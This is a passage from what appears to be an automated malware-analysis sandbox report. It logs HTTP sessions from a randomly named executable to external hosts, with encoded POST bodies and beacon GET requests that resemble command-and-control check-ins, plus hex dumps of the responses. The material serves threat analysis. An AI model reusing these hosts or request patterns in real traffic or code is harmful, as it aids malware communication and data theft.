                                                                        Data Ascii: cvWdIt=ts1RUs7PstU7BHVgyVG34n4pUWCKOQ0GCoHFBboX8wFfnDQiq7x0rH/wn1B0UmCV6unFiZMPMRExv8Nm3ArbNf2pu+pIuMpGBJRQxYaBOKUrx+jO8hFFOlm7IRngR3xs2vAMhu53sLqfx+crTxCnPbauTKXNhj78yVVBV3TiAgilQ04DssI7/4cSE+vxu1pX+dKP8ZUoptvlX6NeteylFAOG2ULnA48ge/VFUuUQUfwKyoyCOWY8ZvSfvgRzQa+zQpw4oDoCyfgOMdAYlCzPfxEs8zEkr/wgD2OO/78aKBndp95rzRxwV5I7lprBToGihsHD5Bi/jY0KbebiDXtKsQrb7JfQzuwiSXWDVFyPSiiEqMIbT+jskM71mjY7fYOwWTXFegqGs9g1NM/TPHaU2VmA+bJexeU1SvJ+0DSXgZ7B4afZijw17bUTyLTOdZVTWLjpKXNOGRpkQnO1IwKiHq757vCOa4Ci0KMwglrLbO9Z+mX3RbR0s3gKWskoLkoTUR1jb10oa3Q3TLqL340epsqcGIFw95ATHLqXrgUaAB1T2eFShqIWoQiZWuWCp/Q2LRO3Em+a7He8MrhB4rr99mOiYx2yAEdjRJLNT9srlyVO/uRnFWj3yRtTtpe1A8I04iHCTLeJp2JMApZ09JKmQ8m0UABpS/SOuOJWUxrxW+MsABql+N48GaSTjcwHBK4Qg2Wbug86g7kP04LehTK1wh35GhZ0FCyyBYoIdLa2k6Y1uSuVhgCl+9W/mbDDFuFx9BLEGY44fjuroUC/JNNjiOp6x6GSK3UuMqimq/R/Mk3QkNWiFFAK2FA8mYjbm7T+551hDoTsDXeMxkNjz21Zdi4ydJXO6qPzWcJ9rmD1gp6GTF3ciWwCRolyrJu5CHSlqZYwwMGvyIZxHnp5iipl3WDvY94+CZ3YALGY8ZRmVTe9nI+BW24KRGYx4ik1Us3E7kZqYV1Ytsih736XMOQjLRPrKUkRmHcDm4DyLKaoNQe5E [TRUNCATED]


                                                                        Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                        16192.168.2.5555953.33.130.190801812C:\Program Files (x86)\aMKilHaSQRXrOhdFhMisFEAUHMjHvdDejTXZGKxxPtBMTtwMykLiOJlxnpTCdKlORquyaFZfaVOSwSv\mMtRNEqhUF.exe
                                                                        TimestampBytes transferredDirectionData
                                                                        Oct 2, 2024 15:16:46.339888096 CEST525OUTGET /p8sm/?cvWdIt=gudxXcfIjfM6RSgg73S9+XdIWXDCMwU0KLmBWaNcxhhcux8g2aNs+kqO3FQMDVnLkpHMsugYGQwIm+gz0yjud+mzkPlPm9RYK75l27rAYJlLhafV6htmCUPEMRK+VCpk1A==&B0yh=QxoXDZd HTTP/1.1
                                                                        Host: www.inspireplay.live
                                                                        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
                                                                        Accept-Language: en-us
                                                                        Connection: close
                                                                        User-Agent: Mozilla/4.0 (compatible; MSIE 11.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3)
                                                                        Oct 2, 2024 15:16:49.729471922 CEST407INHTTP/1.1 200 OK
                                                                        Server: openresty
                                                                        Date: Wed, 02 Oct 2024 13:16:49 GMT
                                                                        Content-Type: text/html
                                                                        Content-Length: 267
                                                                        Connection: close
                                                                        Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 73 63 72 69 70 74 3e 77 69 6e 64 6f 77 2e 6f 6e 6c 6f 61 64 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 3d 22 2f 6c 61 6e 64 65 72 3f 63 76 57 64 49 74 3d 67 75 64 78 58 63 66 49 6a 66 4d 36 52 53 67 67 37 33 53 39 2b 58 64 49 57 58 44 43 4d 77 55 30 4b 4c 6d 42 57 61 4e 63 78 68 68 63 75 78 38 67 32 61 4e 73 2b 6b 71 4f 33 46 51 4d 44 56 6e 4c 6b 70 48 4d 73 75 67 59 47 51 77 49 6d 2b 67 7a 30 79 6a 75 64 2b 6d 7a 6b 50 6c 50 6d 39 52 59 4b 37 35 6c 32 37 72 41 59 4a 6c 4c 68 61 66 56 36 68 74 6d 43 55 50 45 4d 52 4b 2b 56 43 70 6b 31 41 3d 3d 26 42 30 79 68 3d 51 78 6f 58 44 5a 64 22 7d 3c 2f 73 63 72 69 70 74 3e 3c 2f 68 65 61 64 3e 3c 2f 68 74 6d 6c 3e
                                                                        Data Ascii: <!DOCTYPE html><html><head><script>window.onload=function(){window.location.href="/lander?cvWdIt=gudxXcfIjfM6RSgg73S9+XdIWXDCMwU0KLmBWaNcxhhcux8g2aNs+kqO3FQMDVnLkpHMsugYGQwIm+gz0yjud+mzkPlPm9RYK75l27rAYJlLhafV6htmCUPEMRK+VCpk1A==&B0yh=QxoXDZd"}</script></head></html>


                                                                        Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                        17192.168.2.555596156.242.132.82801812C:\Program Files (x86)\aMKilHaSQRXrOhdFhMisFEAUHMjHvdDejTXZGKxxPtBMTtwMykLiOJlxnpTCdKlORquyaFZfaVOSwSv\mMtRNEqhUF.exe
                                                                        TimestampBytes transferredDirectionData
                                                                        Oct 2, 2024 15:16:55.275247097 CEST785OUTPOST /p2q3/ HTTP/1.1
                                                                        Host: www.shanhaiguan.net
                                                                        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
                                                                        Accept-Language: en-us
                                                                        Accept-Encoding: gzip, deflate
                                                                        Origin: http://www.shanhaiguan.net
                                                                        Content-Type: application/x-www-form-urlencoded
                                                                        Connection: close
                                                                        Cache-Control: no-cache
                                                                        Content-Length: 207
                                                                        Referer: http://www.shanhaiguan.net/p2q3/
                                                                        User-Agent: Mozilla/4.0 (compatible; MSIE 11.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3)
                                                                        Data Raw: 63 76 57 64 49 74 3d 49 49 65 72 39 4b 71 63 55 43 74 63 6f 4f 63 6d 4b 66 4a 65 4f 64 2f 52 2f 70 6b 67 78 59 41 32 45 72 72 36 75 44 46 4a 57 2b 45 49 6c 51 73 52 38 4e 64 51 70 54 4b 59 44 53 7a 63 7a 65 50 6c 38 7a 48 42 65 71 64 30 69 2f 72 61 4c 47 30 74 34 48 59 75 64 79 6b 2b 38 6e 44 2f 34 4d 32 34 72 51 34 54 38 35 53 66 33 34 68 72 7a 54 75 4f 45 36 45 4d 4b 66 31 6b 63 4e 55 6c 63 78 4c 33 67 57 66 61 38 36 4f 72 50 43 66 46 67 37 6f 52 34 67 34 56 65 42 69 35 4d 53 37 4f 77 75 47 2b 48 52 41 47 36 34 71 68 33 59 59 73 6d 4f 59 76 72 62 62 65 65 76 6b 70 57 5a 52 72 73 7a 74 4e 63 72 67 69 70 49 6f 3d
                                                                        Data Ascii: cvWdIt=IIer9KqcUCtcoOcmKfJeOd/R/pkgxYA2Err6uDFJW+EIlQsR8NdQpTKYDSzczePl8zHBeqd0i/raLG0t4HYudyk+8nD/4M24rQ4T85Sf34hrzTuOE6EMKf1kcNUlcxL3gWfa86OrPCfFg7oR4g4VeBi5MS7OwuG+HRAG64qh3YYsmOYvrbbeevkpWZRrsztNcrgipIo=


                                                                        Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                        18192.168.2.555597156.242.132.82801812C:\Program Files (x86)\aMKilHaSQRXrOhdFhMisFEAUHMjHvdDejTXZGKxxPtBMTtwMykLiOJlxnpTCdKlORquyaFZfaVOSwSv\mMtRNEqhUF.exe
                                                                        TimestampBytes transferredDirectionData
                                                                        Oct 2, 2024 15:16:57.828989029 CEST805OUTPOST /p2q3/ HTTP/1.1
                                                                        Host: www.shanhaiguan.net
                                                                        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
                                                                        Accept-Language: en-us
                                                                        Accept-Encoding: gzip, deflate
                                                                        Origin: http://www.shanhaiguan.net
                                                                        Content-Type: application/x-www-form-urlencoded
                                                                        Connection: close
                                                                        Cache-Control: no-cache
                                                                        Content-Length: 227
                                                                        Referer: http://www.shanhaiguan.net/p2q3/
                                                                        User-Agent: Mozilla/4.0 (compatible; MSIE 11.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3)
                                                                        Data Raw: 63 76 57 64 49 74 3d 49 49 65 72 39 4b 71 63 55 43 74 63 70 76 73 6d 48 63 52 65 4c 39 2f 53 38 70 6b 67 71 6f 41 79 45 72 33 36 75 47 70 6e 57 73 77 49 6c 78 63 52 37 4a 70 51 75 54 4b 59 62 43 7a 56 73 4f 50 51 38 7a 4b 2b 65 71 78 30 69 2f 76 61 4c 44 51 74 37 30 77 74 53 43 6b 34 6c 33 44 68 6c 38 32 34 72 51 34 54 38 35 47 35 33 34 35 72 7a 44 65 4f 56 72 45 50 4a 66 31 72 62 4e 55 6c 59 78 4c 7a 67 57 66 6b 38 37 53 4e 50 45 44 46 67 35 67 52 37 30 55 53 56 42 69 7a 44 79 36 37 2b 75 6a 75 48 58 77 76 34 5a 4f 6b 6e 49 6f 74 71 59 31 46 78 35 54 32 4e 50 49 52 47 4b 5a 63 39 44 4d 6b 47 49 77 53 33 66 39 44 78 77 65 43 77 61 76 79 32 31 67 35 4c 58 69 53 73 7a 41 77
                                                                        Data Ascii: cvWdIt=IIer9KqcUCtcpvsmHcReL9/S8pkgqoAyEr36uGpnWswIlxcR7JpQuTKYbCzVsOPQ8zK+eqx0i/vaLDQt70wtSCk4l3Dhl824rQ4T85G5345rzDeOVrEPJf1rbNUlYxLzgWfk87SNPEDFg5gR70USVBizDy67+ujuHXwv4ZOknIotqY1Fx5T2NPIRGKZc9DMkGIwS3f9DxweCwavy21g5LXiSszAw


                                                                        Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                        19192.168.2.555598156.242.132.82801812C:\Program Files (x86)\aMKilHaSQRXrOhdFhMisFEAUHMjHvdDejTXZGKxxPtBMTtwMykLiOJlxnpTCdKlORquyaFZfaVOSwSv\mMtRNEqhUF.exe
                                                                        TimestampBytes transferredDirectionData
                                                                        Oct 2, 2024 15:17:00.378099918 CEST1822OUTPOST /p2q3/ HTTP/1.1
                                                                        Host: www.shanhaiguan.net
                                                                        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
                                                                        Accept-Language: en-us
                                                                        Accept-Encoding: gzip, deflate
                                                                        Origin: http://www.shanhaiguan.net
                                                                        Content-Type: application/x-www-form-urlencoded
                                                                        Connection: close
                                                                        Cache-Control: no-cache
                                                                        Content-Length: 1243
                                                                        Referer: http://www.shanhaiguan.net/p2q3/
                                                                        User-Agent: Mozilla/4.0 (compatible; MSIE 11.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3)
                                                                        Data Raw: 63 76 57 64 49 74 3d 49 49 65 72 39 4b 71 63 55 43 74 63 70 76 73 6d 48 63 52 65 4c 39 2f 53 38 70 6b 67 71 6f 41 79 45 72 33 36 75 47 70 6e 57 73 6f 49 6c 44 55 52 39 75 31 51 76 54 4b 59 46 53 7a 51 73 4f 50 33 38 7a 53 36 65 71 74 6b 69 38 48 61 61 56 63 74 2b 42 4d 74 4a 53 6b 34 34 6e 44 38 34 4d 32 58 72 51 6f 58 38 35 57 35 33 34 35 72 7a 46 61 4f 56 36 45 50 47 2f 31 6b 63 4e 56 6b 63 78 4c 50 67 57 57 66 38 37 6d 37 4d 33 62 46 75 35 51 52 72 58 73 53 63 42 69 39 50 53 36 6a 2b 75 65 30 48 58 45 4e 34 5a 72 4c 6e 4b 49 74 6f 75 73 76 6d 62 50 4c 58 38 6f 69 47 6f 74 75 76 46 55 31 5a 72 38 38 33 73 46 75 32 79 57 5a 37 64 62 53 32 6e 70 4d 64 53 72 48 75 45 6c 62 68 43 39 51 6b 4e 42 39 63 66 6e 4f 30 49 42 59 34 70 57 48 71 52 35 44 52 68 37 6b 51 74 39 5a 59 48 57 6b 58 4b 79 33 62 63 37 5a 75 36 6b 51 53 77 6b 57 4d 37 35 37 38 46 6c 53 4f 49 43 75 63 52 4b 32 71 36 7a 73 30 73 39 6e 74 71 73 2f 53 62 5a 57 7a 6e 58 49 6d 76 54 71 37 36 75 78 35 61 41 34 30 56 44 52 71 5a 47 64 41 66 38 [TRUNCATED]
                                                                        Data Ascii: cvWdIt=IIer9KqcUCtcpvsmHcReL9/S8pkgqoAyEr36uGpnWsoIlDUR9u1QvTKYFSzQsOP38zS6eqtki8HaaVct+BMtJSk44nD84M2XrQoX85W5345rzFaOV6EPG/1kcNVkcxLPgWWf87m7M3bFu5QRrXsScBi9PS6j+ue0HXEN4ZrLnKItousvmbPLX8oiGotuvFU1Zr883sFu2yWZ7dbS2npMdSrHuElbhC9QkNB9cfnO0IBY4pWHqR5DRh7kQt9ZYHWkXKy3bc7Zu6kQSwkWM7578FlSOICucRK2q6zs0s9ntqs/SbZWznXImvTq76ux5aA40VDRqZGdAf8Jgx0s2FitNKihwinGR0TspPDL9E9ClC7LZ+/LFsqLcoD3Zy4sNe1p5I/Nidu79iB6+IOfoGcfgoOOgOZqV9wzuDqYe/seWGhAx+Wzc0cqBGtd+Zi0YPC9pTw+xfuCmFoKNLxGyjV1vQ1sBpzDmrMnBWKfp8bBMZNzgfQNuqS7fTMLac2mEZCxSsMb55cAqR32gTXORLB3jE1D8dwLRvg1fqu82R3CT7Yf4MBf6QMCy+jNsm3JbKtEFzTQAzHPtFL3D3V0uqAxSydR2kPOHEQoizS/mjtH+084zFhV1F66fYe1dQK0HcTAFTImi2HbRYC/fclOQK5n7qo9UNx7AQXaGbMniRGiDUkuz3CF1eEirzMWyUq9s6EKCRrkjl3LHlvs/imF8kzZzdXaSy57AmepWlfyWqritF/UQ+PZoaswMiqcooonDvChjdwXCnhNPzLsrWu6E/O0b2Zq4oMelJn3O68GGR2L0D/7c3QgY1Y6N83cpJeldPbOva3vwoPHSOv7KFVRUBtEFo8iCd5kVx9TsOclUe/JgP05CONE+mcHmFN6dCP1Z5iJmUEsl2YlckcLQSzIAFJfBYYBY2vSfFaqyPfizh3Fz5gxmXWF4U2dIvGufCF7ZhwccNt8G+A9e4NYi8Mv0Iyy4gzILGUEULBlhMybDL9SGaX2Y [TRUNCATED]


                                                                        Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                        20192.168.2.555599156.242.132.82801812C:\Program Files (x86)\aMKilHaSQRXrOhdFhMisFEAUHMjHvdDejTXZGKxxPtBMTtwMykLiOJlxnpTCdKlORquyaFZfaVOSwSv\mMtRNEqhUF.exe
                                                                        TimestampBytes transferredDirectionData
                                                                        Oct 2, 2024 15:17:03.043546915 CEST524OUTGET /p2q3/?cvWdIt=FK2L+8PIei1GuvtmMMgoAvGSy4tXk7wbBI34s0k1PsRmujAOjfMM4GbCZxnV6srYixPIeZB0oPqoKkF830AnOQwPxX794cu3tg8LjpGk2pxqz0miSqkHFfojTOhseAe+zA==&B0yh=QxoXDZd HTTP/1.1
                                                                        Host: www.shanhaiguan.net
                                                                        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
                                                                        Accept-Language: en-us
                                                                        Connection: close
                                                                        User-Agent: Mozilla/4.0 (compatible; MSIE 11.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3)


                                                                        Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                        21192.168.2.555600136.143.186.12801812C:\Program Files (x86)\aMKilHaSQRXrOhdFhMisFEAUHMjHvdDejTXZGKxxPtBMTtwMykLiOJlxnpTCdKlORquyaFZfaVOSwSv\mMtRNEqhUF.exe
                                                                        TimestampBytes transferredDirectionData
                                                                        Oct 2, 2024 15:17:29.680413008 CEST779OUTPOST /ivo1/ HTTP/1.1
                                                                        Host: www.lanxuanz.tech
                                                                        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
                                                                        Accept-Language: en-us
                                                                        Accept-Encoding: gzip, deflate
                                                                        Origin: http://www.lanxuanz.tech
                                                                        Content-Type: application/x-www-form-urlencoded
                                                                        Connection: close
                                                                        Cache-Control: no-cache
                                                                        Content-Length: 207
                                                                        Referer: http://www.lanxuanz.tech/ivo1/
                                                                        User-Agent: Mozilla/4.0 (compatible; MSIE 11.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3)
                                                                        Data Raw: 63 76 57 64 49 74 3d 53 4a 54 6c 46 64 39 4f 6e 32 36 32 48 6e 2f 51 76 64 37 69 4a 4b 4f 47 55 6c 55 50 79 59 56 51 2b 6d 6e 64 35 30 64 34 37 36 43 70 38 32 36 51 45 6e 76 4c 6b 65 47 39 45 75 46 61 4e 67 69 75 39 47 61 62 37 43 44 50 6a 41 67 4b 74 53 7a 4c 58 6a 62 58 2b 34 39 39 57 54 70 49 67 58 2f 2f 5a 76 61 70 38 57 4f 49 6e 74 48 74 65 50 6a 4d 53 2b 74 2f 68 30 4c 64 32 42 31 31 38 73 4e 59 79 73 30 5a 48 4d 70 38 4b 57 43 5a 64 4d 2f 4f 69 4c 76 6e 33 57 39 72 34 39 56 41 46 73 6c 45 44 58 4b 41 4d 4a 74 61 67 63 2b 51 64 75 37 75 52 70 54 67 50 79 4b 69 35 68 50 49 4d 74 4b 69 4d 68 42 4a 55 6c 34 3d
                                                                        Data Ascii: cvWdIt=SJTlFd9On262Hn/Qvd7iJKOGUlUPyYVQ+mnd50d476Cp826QEnvLkeG9EuFaNgiu9Gab7CDPjAgKtSzLXjbX+499WTpIgX//Zvap8WOIntHtePjMS+t/h0Ld2B118sNYys0ZHMp8KWCZdM/OiLvn3W9r49VAFslEDXKAMJtagc+Qdu7uRpTgPyKi5hPIMtKiMhBJUl4=
                                                                        Oct 2, 2024 15:17:30.421523094 CEST1236INHTTP/1.1 404
                                                                        Server: ZGS
                                                                        Date: Wed, 02 Oct 2024 13:17:30 GMT
                                                                        Content-Type: text/html
                                                                        Transfer-Encoding: chunked
                                                                        Connection: close
                                                                        Set-Cookie: zalb_8ae64e9492=cd858cf068bec389eea549b00143a3a9; Path=/
                                                                        Set-Cookie: csrfc=697ccaf7-fde2-4fa2-9987-a091b4d20460;path=/;priority=high
                                                                        Set-Cookie: _zcsr_tmp=697ccaf7-fde2-4fa2-9987-a091b4d20460;path=/;SameSite=Strict;priority=high
                                                                        Cache-Control: private,no-cache,no-store,max-age=0,must-revalidate
                                                                        Pragma: no-cache
                                                                        Expires: Thu, 01 Jan 1970 00:00:00 GMT
                                                                        vary: accept-encoding
                                                                        Content-Encoding: gzip
                                                                        Data Raw: 35 36 66 0d 0a 1f 8b 08 00 00 00 00 00 00 00 cd 58 5b 6f db 36 14 7e df af 60 15 b4 68 b1 28 92 25 2b 76 15 d9 c5 96 0c c5 9e 3a a0 03 86 0d 7b a1 25 ca 22 42 91 02 49 c7 4e 82 fd f7 1d 52 b2 ad 6b 93 f5 69 76 03 8b e2 b9 f1 7c df 39 24 9b bc b9 fb 72 fb fb 9f bf fd 82 0a 5d b2 f5 0f 49 fd 83 10 4a 0a 82 33 fb 64 06 25 d1 18 71 5c 92 95 23 c5 46 68 e5 a0 54 70 4d b8 5e 39 5c 50 9e 91 c3 25 e2 22 17 8c 89 bd 79 c2 32 2d e8 03 31 8f 8a d3 aa 22 da 41 de c9 9c a6 9a 91 f5 5f a2 10 89 57 3f 1f 67 18 e5 f7 48 3f 56 e0 48 93 83 f6 52 05 ae 24 61 2b 47 e9 47 46 54 41 8c a5 42 92 7c e5 78 7b b2 c9 21 0a f5 29 c7 25 65 8f ab 2f 15 e1 3f 7e c5 5c c5 73 df bf bc f6 7d e7 64 d7 6a 1f 47 f0 d9 88 ec f1 f9 3c 84 8f b1 e4 d6 86 62 c7 58 42 c6 92 73 89 14 fc b8 8a 48 9a df 0c 15 14 7d 22 f1 6c 56 1d ba 73 25 96 5b ca 63 1f de a3 ce 44 85 b3 8c f2 ed c8 cc 06 a7 f7 5b 29 76 3c 73 53 c1 84 8c 2f f2 c8 7c 5b 86 ff 39 3f 5e 69 51 dd 1a 31 f5 3c 61 25 46 6e 29 9e 5c 48 28 c1 d2 dd 4a 9c 51 80 eb 3d 23 b9 be 44 17 b9 3f [TRUNCATED]
                                                                        Data Ascii: 56fX[o6~`h(%+v:{%"BINRkiv|9$r]IJ3d%q\#FhTpM^9\P%"y2-1"A_W?gH?VHR$a+GGFTAB|x{!)%e/?~\s}djG<bXBsH}"lVs%[cD[)v<sS/|[9?^iQ1<a%Fn)\H(JQ=#D?_Euu,Xyo?LSt7Ba6%?DvL1)R{7V</fKOsN{vPc}0@J0|-NeNt$E+Ca^uK0gE,0][`Zn~.^D %cT,#|K1{Q;,1oz&j5#ZIdZA@OXU0_Qcq&?!S
                                                                        Oct 2, 2024 15:17:30.421539068 CEST718INData Raw: c4 9a 5a 58 38 05 97 29 f2 ef 81 e3 55 a0 be 94 ef ab 5a 00 f6 d9 e7 e9 9c c0 6c 7b 93 6b ab 67 c2 34 cd ba d3 f4 2c 34 dd c7 f4 f0 bb 68 4a df 6a 53 9e 8b 89 32 b1 09 9f 4f 97 da 49 1f 31 8a fa 36 da b0 5f 7f 03 32 c3 56 c0 ad 37 cd a8 02 6d 73
                                                                        Data Ascii: ZX8)UZl{kg4,4hJjS2OI16_2V7msr$0Njq{}7Mpa [^Xw7)fGL6n0WE5<5-VI0F#)514csjq\GQ=uwOS{<,GrK
                                                                        Oct 2, 2024 15:17:30.421555042 CEST5INData Raw: 30 0d 0a 0d 0a
                                                                        Data Ascii: 0


                                                                        Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                        22192.168.2.555601136.143.186.12801812C:\Program Files (x86)\aMKilHaSQRXrOhdFhMisFEAUHMjHvdDejTXZGKxxPtBMTtwMykLiOJlxnpTCdKlORquyaFZfaVOSwSv\mMtRNEqhUF.exe
                                                                        TimestampBytes transferredDirectionData
                                                                        Oct 2, 2024 15:17:32.231044054 CEST799OUTPOST /ivo1/ HTTP/1.1
                                                                        Host: www.lanxuanz.tech
                                                                        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
                                                                        Accept-Language: en-us
                                                                        Accept-Encoding: gzip, deflate
                                                                        Origin: http://www.lanxuanz.tech
                                                                        Content-Type: application/x-www-form-urlencoded
                                                                        Connection: close
                                                                        Cache-Control: no-cache
                                                                        Content-Length: 227
                                                                        Referer: http://www.lanxuanz.tech/ivo1/
                                                                        User-Agent: Mozilla/4.0 (compatible; MSIE 11.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3)
                                                                        Data Raw: 63 76 57 64 49 74 3d 53 4a 54 6c 46 64 39 4f 6e 32 36 32 48 48 50 51 75 2b 6a 69 49 71 4f 46 62 46 55 50 70 6f 55 62 2b 6d 72 64 35 32 78 6f 38 4d 36 70 37 54 47 51 57 6d 76 4c 6a 65 47 39 4f 4f 46 56 4a 67 69 78 39 47 57 39 37 44 2f 50 6a 41 30 4b 74 54 44 4c 57 55 48 55 2f 6f 39 37 5a 7a 6f 4f 75 33 2f 2f 5a 76 61 70 38 57 61 6d 6e 74 66 74 65 2b 54 4d 53 62 5a 38 73 55 4c 43 68 78 31 31 72 38 4e 55 79 73 31 36 48 4f 4d 52 4b 55 36 5a 64 4f 33 4f 6a 65 44 6b 35 57 39 58 30 74 55 43 4c 63 39 50 61 68 65 7a 44 72 77 44 30 2b 71 79 59 59 57 45 4c 4c 62 49 63 53 6d 61 70 79 48 2f 64 64 72 4c 57 43 52 35 4b 79 73 7a 6f 67 4b 42 78 59 48 2b 55 43 50 30 43 6e 6e 44 78 52 51 32
                                                                        Data Ascii: cvWdIt=SJTlFd9On262HHPQu+jiIqOFbFUPpoUb+mrd52xo8M6p7TGQWmvLjeG9OOFVJgix9GW97D/PjA0KtTDLWUHU/o97ZzoOu3//Zvap8Wamntfte+TMSbZ8sULChx11r8NUys16HOMRKU6ZdO3OjeDk5W9X0tUCLc9PahezDrwD0+qyYYWELLbIcSmapyH/ddrLWCR5KyszogKBxYH+UCP0CnnDxRQ2
                                                                        Oct 2, 2024 15:17:32.866064072 CEST1236INHTTP/1.1 404
                                                                        Server: ZGS
                                                                        Date: Wed, 02 Oct 2024 13:17:32 GMT
                                                                        Content-Type: text/html
                                                                        Transfer-Encoding: chunked
                                                                        Connection: close
                                                                        Set-Cookie: zalb_8ae64e9492=dcda410a352560c8665e42e40fadfd79; Path=/
                                                                        Set-Cookie: csrfc=26fbfa11-b6f0-45f6-97ba-0b7e0589adb6;path=/;priority=high
                                                                        Set-Cookie: _zcsr_tmp=26fbfa11-b6f0-45f6-97ba-0b7e0589adb6;path=/;SameSite=Strict;priority=high
                                                                        Cache-Control: private,no-cache,no-store,max-age=0,must-revalidate
                                                                        Pragma: no-cache
                                                                        Expires: Thu, 01 Jan 1970 00:00:00 GMT
                                                                        vary: accept-encoding
                                                                        Content-Encoding: gzip
                                                                        Data Raw: 35 36 66 0d 0a 1f 8b 08 00 00 00 00 00 00 00 cd 58 5b 6f db 36 14 7e df af 60 15 b4 68 b1 28 92 25 2b 76 15 d9 c5 96 0c c5 9e 3a a0 03 86 0d 7b a1 25 ca 22 42 91 02 49 c7 4e 82 fd f7 1d 52 b2 ad 6b 93 f5 69 76 03 8b e2 b9 f1 7c df 39 24 9b bc b9 fb 72 fb fb 9f bf fd 82 0a 5d b2 f5 0f 49 fd 83 10 4a 0a 82 33 fb 64 06 25 d1 18 71 5c 92 95 23 c5 46 68 e5 a0 54 70 4d b8 5e 39 5c 50 9e 91 c3 25 e2 22 17 8c 89 bd 79 c2 32 2d e8 03 31 8f 8a d3 aa 22 da 41 de c9 9c a6 9a 91 f5 5f a2 10 89 57 3f 1f 67 18 e5 f7 48 3f 56 e0 48 93 83 f6 52 05 ae 24 61 2b 47 e9 47 46 54 41 8c a5 42 92 7c e5 78 7b b2 c9 21 0a f5 29 c7 25 65 8f ab 2f 15 e1 3f 7e c5 5c c5 73 df bf bc f6 7d e7 64 d7 6a 1f 47 f0 d9 88 ec f1 f9 3c 84 8f b1 e4 d6 86 62 c7 58 42 c6 92 73 89 14 fc b8 8a 48 9a df 0c 15 14 7d 22 f1 6c 56 1d ba 73 25 96 5b ca 63 1f de a3 ce 44 85 b3 8c f2 ed c8 cc 06 a7 f7 5b 29 76 3c 73 53 c1 84 8c 2f f2 c8 7c 5b 86 ff 39 3f 5e 69 51 dd 1a 31 f5 3c 61 25 46 6e 29 9e 5c 48 28 c1 d2 dd 4a 9c 51 80 eb 3d 23 b9 be 44 17 b9 3f [TRUNCATED]
                                                                        Data Ascii: 56fX[o6~`h(%+v:{%"BINRkiv|9$r]IJ3d%q\#FhTpM^9\P%"y2-1"A_W?gH?VHR$a+GGFTAB|x{!)%e/?~\s}djG<bXBsH}"lVs%[cD[)v<sS/|[9?^iQ1<a%Fn)\H(JQ=#D?_Euu,Xyo?LSt7Ba6%?DvL1)R{7V</fKOsN{vPc}0@J0|-NeNt$E+Ca^uK0gE,0][`Zn~.^D %cT,#|K1{Q;,1oz&j5#ZIdZA@OXU0_Qcq&?!S
                                                                        Oct 2, 2024 15:17:32.866086006 CEST723INData Raw: c4 9a 5a 58 38 05 97 29 f2 ef 81 e3 55 a0 be 94 ef ab 5a 00 f6 d9 e7 e9 9c c0 6c 7b 93 6b ab 67 c2 34 cd ba d3 f4 2c 34 dd c7 f4 f0 bb 68 4a df 6a 53 9e 8b 89 32 b1 09 9f 4f 97 da 49 1f 31 8a fa 36 da b0 5f 7f 03 32 c3 56 c0 ad 37 cd a8 02 6d 73
                                                                        Data Ascii: ZX8)UZl{kg4,4hJjS2OI16_2V7msr$0Njq{}7Mpa [^Xw7)fGL6n0WE5<5-VI0F#)514csjq\GQ=uwOS{<,GrK


                                                                        Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                        23192.168.2.555602136.143.186.12801812C:\Program Files (x86)\aMKilHaSQRXrOhdFhMisFEAUHMjHvdDejTXZGKxxPtBMTtwMykLiOJlxnpTCdKlORquyaFZfaVOSwSv\mMtRNEqhUF.exe
                                                                        TimestampBytes transferredDirectionData
                                                                        Oct 2, 2024 15:17:34.777515888 CEST1816OUTPOST /ivo1/ HTTP/1.1
                                                                        Host: www.lanxuanz.tech
                                                                        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
                                                                        Accept-Language: en-us
                                                                        Accept-Encoding: gzip, deflate
                                                                        Origin: http://www.lanxuanz.tech
                                                                        Content-Type: application/x-www-form-urlencoded
                                                                        Connection: close
                                                                        Cache-Control: no-cache
                                                                        Content-Length: 1243
                                                                        Referer: http://www.lanxuanz.tech/ivo1/
